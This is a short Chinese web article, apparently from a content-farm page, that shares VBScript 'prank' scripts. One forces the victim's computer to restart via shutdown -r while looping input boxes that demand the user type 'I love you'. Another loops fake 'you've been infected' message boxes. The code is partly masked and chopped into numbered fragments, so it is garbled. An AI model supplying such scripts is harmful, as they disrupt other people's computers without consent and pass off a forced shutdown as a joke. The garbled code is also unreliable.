(资料图片)

1、on error resume next dim WSHshellA set WSHshellA = wscript.createobject("***.shell") ***.run "cmd.exe /c shutdown -r -t 30 -c ""说我爱你，不说我爱你就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我爱你") a = inputbox ("说我爱你,就不关机，快撒，说 ""我爱你"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox "虽然你爱我。

2、我还是要关你机。

3、因为你太听话啦" 再一个：domsgbox "哈哈，你中毒了，关闭我也没用。

4、"loo。

本文分享完毕，希望对大家有所帮助。